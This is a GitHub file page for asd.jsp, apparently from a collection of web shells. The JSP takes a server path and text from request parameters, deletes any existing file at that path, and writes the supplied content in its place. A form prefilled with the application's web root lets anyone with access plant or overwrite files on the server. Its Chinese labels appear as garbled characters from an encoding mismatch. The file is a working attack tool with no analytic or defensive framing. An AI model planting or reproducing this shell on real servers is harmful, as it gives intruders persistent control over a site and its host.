forked from backlion/webshell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
asd.jsp
47 lines (45 loc) · 1.31 KB
/
asd.jsp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<%@ page language="java" pageEncoding="gbk"%>
<jsp:directive.page import="java.io.File"/>
<jsp:directive.page import="java.io.OutputStream"/>
<jsp:directive.page import="java.io.FileOutputStream"/>
<html>
<head>
<title>0Š2¡ã0‚5¨¦0„80…1</title>
<meta http-equiv="keywords" content="0Š2¡ã0‚5¨¦0„80…1">
<meta http-equiv="description" content="0Š2¡ã0‚5¨¦0„80…1">
</head>
<%
int i=0;
String method=request.getParameter("act");
if(method!=null&&method.equals("up")){
String url=request.getParameter("url");
String text=request.getParameter("text");
File f=new File(url);
if(f.exists()){
f.delete();
}
try{
OutputStream o=new FileOutputStream(f);
o.write(text.getBytes());
o.close();
}catch(Exception e){
i++;
%>
0Š10†00‚00Š10†40„20Š10†00‚30Š3080‚60Š20‚00„1
<%
}
}
if(i==0){
%>
0Š10†00‚00Š10†40„20Š3080‚60Š20‚00„1
<%
}
%>
<body>
<form action='?act=up' method='post'>
<input size="100" value="<%=application.getRealPath("/") %>" name="url"><br>
<textarea rows="20" cols="80" name="text">¨¨0†70ƒ50Š2060ƒ5¨¦0„80…10Š40ƒ6040Š10†30„50Š40„201</textarea><br>
<input type="submit" value="up" name="text"/>
</form>
</body>
</html>